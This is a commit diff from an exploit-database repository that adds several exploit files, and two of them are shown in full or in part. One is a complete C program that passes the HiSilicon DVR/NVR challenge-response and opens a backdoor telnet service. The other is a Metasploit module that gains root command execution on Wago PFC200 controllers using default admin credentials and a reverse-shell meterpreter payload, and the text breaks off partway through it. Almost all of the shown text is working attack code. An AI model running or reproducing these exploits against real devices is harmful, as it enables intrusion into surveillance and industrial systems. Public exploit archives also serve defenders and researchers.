DB: 2020-02-06
8 changes to exploits/shellcodes Socat 1.7.3.4 - Heap-Based Overflow (PoC) xglance-bin 11.00 - Privilege Escalation HiSilicon DVR/NVR hi3520d firmware - Remote Backdoor Account AVideo Platform 8.1 - Information Disclosure (User Enumeration) Wago PFC200 - Authenticated Remote Code Execution (Metasploit) Kronos WebTA 4.0 - Authenticated Remote Privilege Escalation Verodin Director Web Console 3.5.4.0 - Remote Authenticated Password Disclosure (PoC) AVideo Platform 8.1 - Cross Site Request Forgery (Password Reset)
This commit is contained in:
Offensive Security
parent
9a3ddbdd3a
commit
7d757326b8
9 changed files with 5084 additions and 0 deletions
458
exploits/hardware/remote/48004.c
Normal file
458
exploits/hardware/remote/48004.c
Normal file
|
|
@ -0,0 +1,458 @@
|
|||
# Exploit Title: HiSilicon DVR/NVR hi3520d firmware - Remote Backdoor Account
|
||||
# Dork: N/A
|
||||
# Date: 2020-02-03
|
||||
# Exploit Author: Snawoot
|
||||
# Vendor Homepage: http://www.hisilicon.com
|
||||
# Product Link: http://www.hisilicon.com/en/Products
|
||||
# Version: hi3520d
|
||||
# Tested on: Linux
|
||||
# CVE: N/A
|
||||
# References: https://habr.com/en/post/486856/
|
||||
# References: https://github.com/Snawoot/hisilicon-dvr-telnet
|
||||
# References: https://github.com/tothi/pwn-hisilicon-dvr#summary
|
||||
|
||||
# POC:
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
#include <errno.h>
|
||||
#include <netdb.h>
|
||||
#include <sys/types.h>
|
||||
#include <netinet/in.h>
|
||||
#include <sys/socket.h>
|
||||
#include <unistd.h>
|
||||
|
||||
typedef unsigned char byte;
|
||||
typedef unsigned int uint;
|
||||
|
||||
byte state[2048] = {0};
|
||||
byte datum[] = {
|
||||
0x20, 0x01, 0x02, 0x03, 0x04, 0x05, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09,
|
||||
0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0c, 0x0d, 0x0e, 0x0f, 0x10, 0x11,
|
||||
0x10, 0x11, 0x12, 0x13, 0x14, 0x15, 0x14, 0x15, 0x16, 0x17, 0x18, 0x19,
|
||||
0x18, 0x19, 0x1a, 0x1b, 0x1c, 0x1d, 0x1c, 0x1d, 0x1e, 0x1f, 0x20, 0x01,
|
||||
0x0e, 0x04, 0x0d, 0x01, 0x02, 0x0f, 0x0b, 0x08, 0x03, 0x0a, 0x06, 0x0c,
|
||||
0x05, 0x09, 0x00, 0x07, 0x00, 0x0f, 0x07, 0x04, 0x0e, 0x02, 0x0d, 0x01,
|
||||
0x0a, 0x06, 0x0c, 0x0b, 0x09, 0x05, 0x03, 0x08, 0x04, 0x01, 0x0e, 0x08,
|
||||
0x0d, 0x06, 0x02, 0x0b, 0x0f, 0x0c, 0x09, 0x07, 0x03, 0x0a, 0x05, 0x00,
|
||||
0x0f, 0x0c, 0x08, 0x02, 0x04, 0x09, 0x01, 0x07, 0x05, 0x0b, 0x03, 0x0e,
|
||||
0x0a, 0x00, 0x06, 0x0d, 0x0f, 0x01, 0x08, 0x0e, 0x06, 0x0b, 0x03, 0x04,
|
||||
0x09, 0x07, 0x02, 0x0d, 0x0c, 0x00, 0x05, 0x0a, 0x03, 0x0d, 0x04, 0x07,
|
||||
0x0f, 0x02, 0x08, 0x0e, 0x0c, 0x00, 0x01, 0x0a, 0x06, 0x09, 0x0b, 0x05,
|
||||
0x00, 0x0e, 0x07, 0x0b, 0x0a, 0x04, 0x0d, 0x01, 0x05, 0x08, 0x0c, 0x06,
|
||||
0x09, 0x03, 0x02, 0x0f, 0x0d, 0x08, 0x0a, 0x01, 0x03, 0x0f, 0x04, 0x02,
|
||||
0x0b, 0x06, 0x07, 0x0c, 0x00, 0x05, 0x0e, 0x09, 0x0a, 0x00, 0x09, 0x0e,
|
||||
0x06, 0x03, 0x0f, 0x05, 0x01, 0x0d, 0x0c, 0x07, 0x0b, 0x04, 0x02, 0x08,
|
||||
0x0d, 0x07, 0x00, 0x09, 0x03, 0x04, 0x06, 0x0a, 0x02, 0x08, 0x05, 0x0e,
|
||||
0x0c, 0x0b, 0x0f, 0x01, 0x0d, 0x06, 0x04, 0x09, 0x08, 0x0f, 0x03, 0x00,
|
||||
0x0b, 0x01, 0x02, 0x0c, 0x05, 0x0a, 0x0e, 0x07, 0x01, 0x0a, 0x0d, 0x00,
|
||||
0x06, 0x09, 0x08, 0x07, 0x04, 0x0f, 0x0e, 0x03, 0x0b, 0x05, 0x02, 0x0c,
|
||||
0x07, 0x0d, 0x0e, 0x03, 0x00, 0x06, 0x09, 0x0a, 0x01, 0x02, 0x08, 0x05,
|
||||
0x0b, 0x0c, 0x04, 0x0f, 0x0d, 0x08, 0x0b, 0x05, 0x06, 0x0f, 0x00, 0x03,
|
||||
0x04, 0x07, 0x02, 0x0c, 0x01, 0x0a, 0x0e, 0x09, 0x0a, 0x06, 0x09, 0x00,
|
||||
0x0c, 0x0b, 0x07, 0x0d, 0x0f, 0x01, 0x03, 0x0e, 0x05, 0x02, 0x08, 0x04,
|
||||
0x03, 0x0f, 0x00, 0x06, 0x0a, 0x01, 0x0d, 0x08, 0x09, 0x04, 0x05, 0x0b,
|
||||
0x0c, 0x07, 0x02, 0x0e, 0x02, 0x0c, 0x04, 0x01, 0x07, 0x0a, 0x0b, 0x06,
|
||||
0x08, 0x05, 0x03, 0x0f, 0x0d, 0x00, 0x0e, 0x09, 0x0e, 0x0b, 0x02, 0x0c,
|
||||
0x04, 0x07, 0x0d, 0x01, 0x05, 0x00, 0x0f, 0x0a, 0x03, 0x09, 0x08, 0x06,
|
||||
0x04, 0x02, 0x01, 0x0b, 0x0a, 0x0d, 0x07, 0x08, 0x0f, 0x09, 0x0c, 0x05,
|
||||
0x06, 0x03, 0x00, 0x0e, 0x0b, 0x08, 0x0c, 0x07, 0x01, 0x0e, 0x02, 0x0d,
|
||||
0x06, 0x0f, 0x00, 0x09, 0x0a, 0x04, 0x05, 0x03, 0x0c, 0x01, 0x0a, 0x0f,
|
||||
0x09, 0x02, 0x06, 0x08, 0x00, 0x0d, 0x03, 0x04, 0x0e, 0x07, 0x05, 0x0b,
|
||||
0x0a, 0x0f, 0x04, 0x02, 0x07, 0x0c, 0x09, 0x05, 0x06, 0x01, 0x0d, 0x0e,
|
||||
0x00, 0x0b, 0x03, 0x08, 0x09, 0x0e, 0x0f, 0x05, 0x02, 0x08, 0x0c, 0x03,
|
||||
0x07, 0x00, 0x04, 0x0a, 0x01, 0x0d, 0x0b, 0x06, 0x04, 0x03, 0x02, 0x0c,
|
||||
0x09, 0x05, 0x0f, 0x0a, 0x0b, 0x0e, 0x01, 0x07, 0x06, 0x00, 0x08, 0x0d,
|
||||
0x04, 0x0b, 0x02, 0x0e, 0x0f, 0x00, 0x08, 0x0d, 0x03, 0x0c, 0x09, 0x07,
|
||||
0x05, 0x0a, 0x06, 0x01, 0x0d, 0x00, 0x0b, 0x07, 0x04, 0x09, 0x01, 0x0a,
|
||||
0x0e, 0x03, 0x05, 0x0c, 0x02, 0x0f, 0x08, 0x06, 0x01, 0x04, 0x0b, 0x0d,
|
||||
0x0c, 0x03, 0x07, 0x0e, 0x0a, 0x0f, 0x06, 0x08, 0x00, 0x05, 0x09, 0x02,
|
||||
0x06, 0x0b, 0x0d, 0x08, 0x01, 0x04, 0x0a, 0x07, 0x09, 0x05, 0x00, 0x0f,
|
||||
0x0e, 0x02, 0x03, 0x0c, 0x0d, 0x02, 0x08, 0x04, 0x06, 0x0f, 0x0b, 0x01,
|
||||
0x0a, 0x09, 0x03, 0x0e, 0x05, 0x00, 0x0c, 0x07, 0x01, 0x0f, 0x0d, 0x08,
|
||||
0x0a, 0x03, 0x07, 0x04, 0x0c, 0x05, 0x06, 0x0b, 0x00, 0x0e, 0x09, 0x02,
|
||||
0x07, 0x0b, 0x04, 0x01, 0x09, 0x0c, 0x0e, 0x02, 0x00, 0x06, 0x0a, 0x0d,
|
||||
0x0f, 0x03, 0x05, 0x08, 0x02, 0x01, 0x0e, 0x07, 0x04, 0x0a, 0x08, 0x0d,
|
||||
0x0f, 0x0c, 0x09, 0x00, 0x03, 0x05, 0x06, 0x0b, 0x10, 0x07, 0x14, 0x15,
|
||||
0x1d, 0x0c, 0x1c, 0x11, 0x01, 0x0f, 0x17, 0x1a, 0x05, 0x12, 0x1f, 0x0a,
|
||||
0x02, 0x08, 0x18, 0x0e, 0x20, 0x1b, 0x03, 0x09, 0x13, 0x0d, 0x1e, 0x06,
|
||||
0x16, 0x0b, 0x04, 0x19, 0x3a, 0x32, 0x2a, 0x22, 0x1a, 0x12, 0x0a, 0x02,
|
||||
0x3c, 0x34, 0x2c, 0x24, 0x1c, 0x14, 0x0c, 0x04, 0x3e, 0x36, 0x2e, 0x26,
|
||||
0x1e, 0x16, 0x0e, 0x06, 0x40, 0x38, 0x30, 0x28, 0x20, 0x18, 0x10, 0x08,
|
||||
0x39, 0x31, 0x29, 0x21, 0x19, 0x11, 0x09, 0x01, 0x3b, 0x33, 0x2b, 0x23,
|
||||
0x1b, 0x13, 0x0b, 0x03, 0x3d, 0x35, 0x2d, 0x25, 0x1d, 0x15, 0x0d, 0x05,
|
||||
0x3f, 0x37, 0x2f, 0x27, 0x1f, 0x17, 0x0f, 0x07, 0xf4, 0x63, 0x01, 0x00,
|
||||
0x28, 0x08, 0x30, 0x10, 0x38, 0x18, 0x40, 0x20, 0x27, 0x07, 0x2f, 0x0f,
|
||||
0x37, 0x17, 0x3f, 0x1f, 0x26, 0x06, 0x2e, 0x0e, 0x36, 0x16, 0x3e, 0x1e,
|
||||
0x25, 0x05, 0x2d, 0x0d, 0x35, 0x15, 0x3d, 0x1d, 0x24, 0x04, 0x2c, 0x0c,
|
||||
0x34, 0x14, 0x3c, 0x1c, 0x23, 0x03, 0x2b, 0x0b, 0x33, 0x13, 0x3b, 0x1b,
|
||||
0x22, 0x02, 0x2a, 0x0a, 0x32, 0x12, 0x3a, 0x1a, 0x21, 0x01, 0x29, 0x09,
|
||||
0x31, 0x11, 0x39, 0x19, 0x39, 0x31, 0x29, 0x21, 0x19, 0x11, 0x09, 0x01,
|
||||
0x3a, 0x32, 0x2a, 0x22, 0x1a, 0x12, 0x0a, 0x02, 0x3b, 0x33, 0x2b, 0x23,
|
||||
0x1b, 0x13, 0x0b, 0x03, 0x3c, 0x34, 0x2c, 0x24, 0x3f, 0x37, 0x2f, 0x27,
|
||||
0x1f, 0x17, 0x0f, 0x07, 0x3e, 0x36, 0x2e, 0x26, 0x1e, 0x16, 0x0e, 0x06,
|
||||
0x3d, 0x35, 0x2d, 0x25, 0x1d, 0x15, 0x0d, 0x05, 0x1c, 0x14, 0x0c, 0x04,
|
||||
0x50, 0x64, 0x01, 0x00, 0x01, 0x01, 0x02, 0x02, 0x02, 0x02, 0x02, 0x02,
|
||||
0x01, 0x02, 0x02, 0x02, 0x02, 0x02, 0x02, 0x01, 0x0e, 0x11, 0x0b, 0x18,
|
||||
0x01, 0x05, 0x03, 0x1c, 0x0f, 0x06, 0x15, 0x0a, 0x17, 0x13, 0x0c, 0x04,
|
||||
0x1a, 0x08, 0x10, 0x07, 0x1b, 0x14, 0x0d, 0x02, 0x29, 0x34, 0x1f, 0x25,
|
||||
0x2f, 0x37, 0x1e, 0x28, 0x33, 0x2d, 0x21, 0x30, 0x2c, 0x31, 0x27, 0x38,
|
||||
0x22, 0x35, 0x2e, 0x2a, 0x32, 0x24, 0x1d, 0x20
|
||||
};
|
||||
|
||||
void init_cipher_offset_vector(byte *dst,byte *src,int size)
|
||||
|
||||
{
|
||||
int i;
|
||||
|
||||
i = 0;
|
||||
while (i < size) {
|
||||
dst[i] = (byte)((int)(uint)src[i >> 3] >> (i & 7U)) & 1;
|
||||
i = i + 1;
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
void apply_cipher_offset_vector(byte *dst,byte *src,byte *offset_vector,size_t size)
|
||||
|
||||
{
|
||||
int i;
|
||||
|
||||
i = 0;
|
||||
while (i < (int)size) {
|
||||
state[i] = src[(uint)offset_vector[i] - 1];
|
||||
i = i + 1;
|
||||
}
|
||||
memcpy(dst,state,size);
|
||||
return;
|
||||
}
|
||||
|
||||
void cipher_memcpy_shuffle(void *dst,size_t size)
|
||||
|
||||
{
|
||||
memcpy(state,dst,size);
|
||||
memcpy(dst,(void *)(dst + size),0x1c - size);
|
||||
memcpy((void *)(dst + (0x1c - size)),state,size);
|
||||
return;
|
||||
}
|
||||
|
||||
void init_cipher_state(void *dst,void *src)
|
||||
|
||||
{
|
||||
byte current_byte;
|
||||
int i;
|
||||
|
||||
init_cipher_offset_vector(state + 0x190,(byte *)src,0x40);
|
||||
apply_cipher_offset_vector(state + 0x190,state + 0x190,datum + 0x2d4,0x38);
|
||||
i = 0;
|
||||
do {
|
||||
current_byte = (datum + 0x310)[i];
|
||||
i = i + 1;
|
||||
cipher_memcpy_shuffle(state + 0x190,(uint)current_byte);
|
||||
cipher_memcpy_shuffle(state + 0x190 + 0x1c,(uint)current_byte);
|
||||
apply_cipher_offset_vector((byte *)dst,state + 0x190,datum + 0x320,0x30);
|
||||
dst = (byte *)dst + 0x30;
|
||||
} while (i != 0x10);
|
||||
return;
|
||||
}
|
||||
|
||||
void cipher_xor(byte *data,byte *key,int size)
|
||||
|
||||
{
|
||||
int i;
|
||||
|
||||
i = 0;
|
||||
while (i < size) {
|
||||
data[i] = key[i] ^ data[i];
|
||||
i = i + 1;
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
void prepare_key(void *key,size_t key_size)
|
||||
|
||||
{
|
||||
size_t __n;
|
||||
|
||||
memset(state + 0x1d0,0,0x10);
|
||||
__n = key_size;
|
||||
if (0xf < (int)key_size) {
|
||||
__n = 0x10;
|
||||
}
|
||||
memcpy(state + 0x1d0,key,__n);
|
||||
init_cipher_state(state + 0x1e0,state + 0x1d0);
|
||||
if (8 < (int)key_size) {
|
||||
init_cipher_state(state + 0x4e0,state + 0x1d8);
|
||||
}
|
||||
*(state + 0x7e0) = 8 < (int)key_size; // !!!! recheck size
|
||||
return;
|
||||
}
|
||||
|
||||
void cipher_shuffle(byte *dst,byte *src)
|
||||
|
||||
{
|
||||
byte *caretPtr;
|
||||
int iVar1;
|
||||
byte *ptr;
|
||||
int i;
|
||||
|
||||
apply_cipher_offset_vector(state + 0x100,dst,datum,0x30);
|
||||
cipher_xor(state + 0x100,src,0x30);
|
||||
ptr = state + 0x100;
|
||||
i = 0;
|
||||
do {
|
||||
iVar1 = i + (uint)ptr[5] + (uint)*ptr * 2;
|
||||
caretPtr = dst + i;
|
||||
i = i + 4;
|
||||
init_cipher_offset_vector
|
||||
(caretPtr,datum + 0x30 +
|
||||
(uint)ptr[2] * 4 + (uint)ptr[1] * 8 + (uint)ptr[4] + (uint)ptr[3] * 2 +
|
||||
iVar1 * 0x10,4);
|
||||
ptr = ptr + 6;
|
||||
} while (i != 0x20);
|
||||
apply_cipher_offset_vector(dst,dst,datum + 0x230,0x20);
|
||||
return;
|
||||
}
|
||||
|
||||
void cipher_box(byte *result,byte *data,byte *offset_vector,int direction)
|
||||
|
||||
{
|
||||
uint i;
|
||||
byte *backward_ov_ptr;
|
||||
byte *forward_ov_ptr;
|
||||
int iVar3;
|
||||
|
||||
init_cipher_offset_vector(state + 0x130,data,0x40);
|
||||
apply_cipher_offset_vector(state + 0x130,state + 0x130,datum + 0x250,0x40);
|
||||
if (direction == 0) {
|
||||
forward_ov_ptr = offset_vector + 0x300;
|
||||
do {
|
||||
memcpy(state + 0x170,state + 0x150,0x20);
|
||||
cipher_shuffle(state + 0x150,offset_vector);
|
||||
cipher_xor(state + 0x150,state + 0x130,0x20);
|
||||
memcpy(state + 0x130, state + 0x170, 0x20);
|
||||
offset_vector = offset_vector + 0x30;
|
||||
} while (offset_vector != forward_ov_ptr);
|
||||
}
|
||||
else {
|
||||
backward_ov_ptr = offset_vector + 0x2d0;
|
||||
do {
|
||||
memcpy(state + 0x170,state + 0x130,0x20);
|
||||
cipher_shuffle(state + 0x130,backward_ov_ptr);
|
||||
cipher_xor(state + 0x130,state + 0x150,0x20);
|
||||
backward_ov_ptr -= 0x30;
|
||||
memcpy(state + 0x150,state + 0x170,0x20);
|
||||
} while (backward_ov_ptr != offset_vector + -0x30);
|
||||
}
|
||||
apply_cipher_offset_vector(state + 0x130,state + 0x130,datum + 0x294,0x40);
|
||||
memset(result,0,8);
|
||||
i = 0;
|
||||
do {
|
||||
result[i >> 3] = result[i >> 3] | *(char *)(state + 0x130 + i) << (i & 7);
|
||||
i = i + 1;
|
||||
} while (i != 0x40);
|
||||
return;
|
||||
}
|
||||
|
||||
int decrypt(char *result,char *data,uint data_len,char *key,uint key_len)
|
||||
|
||||
{
|
||||
uint short_key_iter;
|
||||
int curBlockNumber;
|
||||
int blockCount;
|
||||
|
||||
if (((result != (char *)0x0 && data != (char *)0x0) && (curBlockNumber = 0, key != (char *)0x0))
|
||||
&& ((data_len + 7 & 0xfffffff8) != 0)) {
|
||||
prepare_key(key,key_len);
|
||||
blockCount = (int)(data_len + 7) >> 3;
|
||||
short_key_iter = *(state + 0x7e0);
|
||||
if (*(state + 0x7e0) == 0) {
|
||||
while ((int)short_key_iter < blockCount) {
|
||||
cipher_box((byte *)result,(byte *)data,state + 0x1e0,1);
|
||||
short_key_iter = short_key_iter + 1;
|
||||
result = (char *)((byte *)result + 8);
|
||||
data = (char *)((byte *)data + 8);
|
||||
}
|
||||
}
|
||||
else {
|
||||
while (curBlockNumber < blockCount) {
|
||||
cipher_box((byte *)result,(byte *)data,state + 0x1e0,1);
|
||||
cipher_box((byte *)result,(byte *)result,state + 0x4e0,0);
|
||||
cipher_box((byte *)result,(byte *)result,state + 0x1e0,1);
|
||||
curBlockNumber = curBlockNumber + 1;
|
||||
result = (char *)((byte *)result + 8);
|
||||
data = (char *)((byte *)data + 8);
|
||||
}
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
return -1;
|
||||
}
|
||||
|
||||
int encrypt(char *result,char *data,uint data_len,char *key,uint key_size)
|
||||
|
||||
{
|
||||
uint uVar2;
|
||||
int currentBlockNumber;
|
||||
int blocksCount;
|
||||
|
||||
if (((result != (char *)0x0 && data != (char *)0x0) &&
|
||||
(currentBlockNumber = 0, key != (char *)0x0)) && ((data_len + 7 & 0xfffffff8) != 0)) {
|
||||
prepare_key(key,key_size);
|
||||
blocksCount = (int)(data_len + 7) >> 3;
|
||||
uVar2 = *(state + 0x7e0);
|
||||
if (*(state + 0x7e0) == 0) {
|
||||
while ((int)uVar2 < blocksCount) {
|
||||
cipher_box((byte *)result,(byte *)data,state + 0x1e0,0);
|
||||
uVar2 = uVar2 + 1;
|
||||
result = (char *)((byte *)result + 8);
|
||||
data = (char *)((byte *)data + 8);
|
||||
}
|
||||
}
|
||||
else {
|
||||
while (currentBlockNumber < blocksCount) {
|
||||
cipher_box((byte *)result,(byte *)data,state + 0x1e0,0);
|
||||
cipher_box((byte *)result,(byte *)result,state + 0x4e0,1);
|
||||
cipher_box((byte *)result,(byte *)result,state + 0x1e0,0);
|
||||
currentBlockNumber = currentBlockNumber + 1;
|
||||
result = (char *)((byte *)result + 8);
|
||||
data = (char *)((byte *)data + 8);
|
||||
}
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
return -1;
|
||||
}
|
||||
|
||||
void tohex(unsigned char * in, size_t insz, char * out, size_t outsz)
|
||||
{
|
||||
unsigned char * pin = in;
|
||||
const char * hex = "0123456789ABCDEF";
|
||||
char * pout = out;
|
||||
for(; pin < in+insz; pout +=3, pin++){
|
||||
pout[0] = hex[(*pin>>4) & 0xF];
|
||||
pout[1] = hex[ *pin & 0xF];
|
||||
pout[2] = ':';
|
||||
if (pout + 3 - out > outsz){
|
||||
/* Better to truncate output string than overflow buffer */
|
||||
/* it would be still better to either return a status */
|
||||
/* or ensure the target buffer is large enough and it never happen */
|
||||
break;
|
||||
}
|
||||
}
|
||||
pout[-1] = 0;
|
||||
}
|
||||
|
||||
char netbuf[4096];
|
||||
|
||||
#define PADDED(X) (((X + 7) / 8) * 8)
|
||||
#define PORT 9530
|
||||
#define BUFSIZE sizeof(netbuf)
|
||||
#define CMD_FIRST "OpenTelnet:OpenOnce"
|
||||
#define CHALLENGE_PROLOGUE "randNum:"
|
||||
#define VERIFY_OK "verify:OK"
|
||||
#define CMD_FINAL "CMD:"
|
||||
#define FINAL_PAYLOAD "Telnet:OpenOnce"
|
||||
#define OPEN_OK "Open:OK"
|
||||
|
||||
ssize_t send_str(int sockfd, char *str, size_t len) {
|
||||
if (len > 0xFE) {
|
||||
return -1;
|
||||
}
|
||||
char buf[len+1];
|
||||
buf[0] = len + 1;
|
||||
memcpy(buf + 1, str, len);
|
||||
return send(sockfd, buf, len + 1, 0);
|
||||
}
|
||||
|
||||
int main(int argc, char* argv[]) {
|
||||
int sockfd, numbytes;
|
||||
struct hostent *he;
|
||||
struct sockaddr_in their_addr;
|
||||
|
||||
if (argc != 3) {
|
||||
fprintf(stderr, "Usage: %s <host> <PSK>\n", argv[0]);
|
||||
return 2;
|
||||
}
|
||||
|
||||
if ((he=gethostbyname(argv[1])) == NULL) { /* get the host info */
|
||||
herror("gethostbyname");
|
||||
return 1;
|
||||
}
|
||||
|
||||
if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
|
||||
perror("socket");
|
||||
return 1;
|
||||
}
|
||||
|
||||
their_addr.sin_family = AF_INET; /* host byte order */
|
||||
their_addr.sin_port = htons(PORT); /* short, network byte order */
|
||||
their_addr.sin_addr = *((struct in_addr *)he->h_addr);
|
||||
bzero(&(their_addr.sin_zero), 8); /* zero the rest of the struct */
|
||||
|
||||
if (connect(sockfd, (struct sockaddr *)&their_addr, \
|
||||
sizeof(struct sockaddr)) == -1) {
|
||||
perror("connect");
|
||||
return 1;
|
||||
}
|
||||
if (send_str(sockfd, CMD_FIRST, sizeof(CMD_FIRST)) == -1) {
|
||||
perror("send");
|
||||
return 1;
|
||||
}
|
||||
printf("Sent %s command.\n", CMD_FIRST);
|
||||
bzero(netbuf, BUFSIZE);
|
||||
if ((numbytes=recv(sockfd, netbuf, BUFSIZE - 1, 0)) == -1) {
|
||||
perror("recv");
|
||||
return 1;
|
||||
}
|
||||
puts(netbuf);
|
||||
if (memcmp(netbuf, CHALLENGE_PROLOGUE, sizeof(CHALLENGE_PROLOGUE) - 1) != 0) {
|
||||
fprintf(stderr, "No challenge received.\n");
|
||||
return 3;
|
||||
}
|
||||
|
||||
char *seed = netbuf + sizeof(CHALLENGE_PROLOGUE) - 1;
|
||||
char challengeStr[strlen(seed) + strlen(argv[2]) + 1];
|
||||
size_t challengeLen = sprintf(challengeStr, "%s%s", seed, argv[2]);
|
||||
printf("challenge=%s\n", challengeStr);
|
||||
|
||||
char encryptedRandomSeed[PADDED(challengeLen)];
|
||||
encrypt(encryptedRandomSeed, seed, strlen(seed), challengeStr, challengeLen);
|
||||
memcpy(netbuf, CHALLENGE_PROLOGUE, sizeof(CHALLENGE_PROLOGUE) - 1);
|
||||
memcpy(netbuf + sizeof(CHALLENGE_PROLOGUE) - 1, encryptedRandomSeed, PADDED(challengeLen));
|
||||
if (send_str(sockfd, netbuf, sizeof(CHALLENGE_PROLOGUE) - 1 + PADDED(challengeLen)) == -1) {
|
||||
perror("send");
|
||||
return 1;
|
||||
}
|
||||
bzero(netbuf, BUFSIZE);
|
||||
if ((numbytes=recv(sockfd, netbuf, BUFSIZE - 1, 0)) == -1) {
|
||||
perror("recv");
|
||||
return 1;
|
||||
}
|
||||
puts(netbuf);
|
||||
if (memcmp(netbuf, VERIFY_OK, sizeof(VERIFY_OK) - 1) != 0) {
|
||||
fprintf(stderr, "Verification failed.\n");
|
||||
return 4;
|
||||
}
|
||||
char encryptedFinal[PADDED(sizeof(FINAL_PAYLOAD))];
|
||||
encrypt(encryptedFinal, FINAL_PAYLOAD, sizeof(FINAL_PAYLOAD), challengeStr, challengeLen);
|
||||
memcpy(netbuf, CMD_FINAL, sizeof(CMD_FINAL) - 1);
|
||||
memcpy(netbuf + sizeof(CMD_FINAL) - 1, encryptedFinal, sizeof(encryptedFinal));
|
||||
if (send_str(sockfd, netbuf, sizeof(CMD_FINAL) - 1 + sizeof(encryptedFinal)) == -1) {
|
||||
perror("send");
|
||||
return 1;
|
||||
}
|
||||
bzero(netbuf, BUFSIZE);
|
||||
if ((numbytes=recv(sockfd, netbuf, BUFSIZE - 1, 0)) == -1) {
|
||||
perror("recv");
|
||||
return 1;
|
||||
}
|
||||
puts(netbuf);
|
||||
if (memcmp(netbuf, OPEN_OK, sizeof(OPEN_OK) - 1)) {
|
||||
fprintf(stderr, "Open failed.\n");
|
||||
return 5;
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
#
|
||||
198
exploits/hardware/webapps/47998.rb
Executable file
198
exploits/hardware/webapps/47998.rb
Executable file
|
|
@ -0,0 +1,198 @@
|
|||
# Exploit Title: Wago PFC200 - Authenticated Remote Code Execution (Metasploit)
|
||||
# Date: 2020-02-05
|
||||
# Exploit Author: Nico Jansen (0x483d)
|
||||
# Vendor Homepage: https://www.wago.com/
|
||||
# Version: <= Firmare 11 (02_08_35)
|
||||
# Tested on: Linux
|
||||
# CVE : N/A
|
||||
|
||||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
require 'json'
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
#Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Wago PFC200 authenticated remote code execution',
|
||||
'Description' => %q{
|
||||
The Wago PFC200 (up to incl. Firmware 11 02_08_35) is vulnerable to an authenticated remote code execution in the
|
||||
administrative web interface. By exploiting the vulnerability, an attacker is able to run system commands in root context.
|
||||
To execute this module, login credenials of the website administrator are required (default: admin/wago).
|
||||
This module was tested against a Wago 750-8202 Firmware 11 (02_08_35) but other PFC200 models may be affected as well.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Nico Jansen (0x483d)' # Vulnerability discovery and MSF module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'php',
|
||||
'References' =>
|
||||
[
|
||||
['CVE', '-'],
|
||||
['US-CERT-VU', '-'],
|
||||
['URL', '-'],
|
||||
['URL', '-']
|
||||
],
|
||||
'DisclosureDate' => 'Aug 1 2018',
|
||||
'Privileged' => true,
|
||||
'DefaultOptions' => {
|
||||
'PAYLOAD' => 'php/meterpreter/reverse_tcp',
|
||||
'SSL' => true,
|
||||
},
|
||||
'Targets' => [
|
||||
['Automatic', {}]
|
||||
],
|
||||
'DefaultTarget' => 0))
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(443),
|
||||
OptString.new('ADMINPASSWORD', [true, 'Password to authenticate as admin', 'wago']),
|
||||
])
|
||||
|
||||
deregister_options('VHOST')
|
||||
end
|
||||
|
||||
# This function checks the index page to check if it may be a valid device.
|
||||
# There are some more checks done after an successful authentication
|
||||
def check
|
||||
@csrf=""
|
||||
res = send_request_cgi(
|
||||
'method' => 'GET',
|
||||
'uri' => '/wbm/index.php'
|
||||
)
|
||||
|
||||
if res && res.code == 200 && res.body.to_s =~ /WAGO Ethernet Web-based Management/
|
||||
result = sendConfigToolMessage("get_typelabel_value", ["SYSDESC"])
|
||||
if result and result =~ /PFC200/
|
||||
# Get Version and check if it's <= 11
|
||||
result = sendConfigToolMessage("get_coupler_details", ["firmware-revision"])
|
||||
result = result.split('(')[1]
|
||||
result = result.split(')')[0]
|
||||
if Integer(result) <= 11
|
||||
return Exploit::CheckCode::Vulnerable
|
||||
else
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
end
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
|
||||
# This function authenticates the adminuser against the Wago PLC
|
||||
def login
|
||||
res = send_request_cgi(
|
||||
'method' => 'POST',
|
||||
'uri' => '/wbm/login.php',
|
||||
'data' => '{"username":"admin","password":"' + datastore['ADMINPASSWORD'] + '"}'
|
||||
)
|
||||
if res.code != 200
|
||||
return false
|
||||
end
|
||||
|
||||
parsed_json = JSON.parse(res.body.to_s)
|
||||
if parsed_json["status"] == 0
|
||||
@cookie = res.get_cookies
|
||||
@csrf = parsed_json["csrfToken"]
|
||||
return true
|
||||
else
|
||||
return false
|
||||
end
|
||||
end
|
||||
|
||||
# This function can be used to execute arbitary commands after login
|
||||
def sendConfigToolMessage(scriptname, parameters, expectResponse=true)
|
||||
parameterString = ''
|
||||
for param in parameters
|
||||
parameterString = parameterString + '"' + param + '", '
|
||||
end
|
||||
|
||||
parameterString = parameterString[0...-2]
|
||||
request ='{"csrfToken":"' + @csrf + '",'\
|
||||
'"renewSession":true,"aDeviceParams":{"0"'\
|
||||
':{"name":"' + scriptname + '","parameter":['\
|
||||
+ parameterString + '],"sudo":true,"multiline":false,'\
|
||||
'"timeout":12000,"dataId":0}}}'
|
||||
|
||||
res = send_request_cgi(
|
||||
'method' => 'POST',
|
||||
'uri' => '/wbm/configtools.php',
|
||||
'data' => request,
|
||||
'cookie' => @cookie,
|
||||
)
|
||||
# After exploitation, there is no response, so just return true because the message was sent
|
||||
if expectResponse == false
|
||||
return true
|
||||
end
|
||||
|
||||
parsed_json = JSON.parse(res.body.to_s)
|
||||
@csrf = parsed_json["csrfToken"]
|
||||
if parsed_json["aDeviceResponse"][0]["status"] == 0
|
||||
return parsed_json["aDeviceResponse"][0]["resultString"]
|
||||
else
|
||||
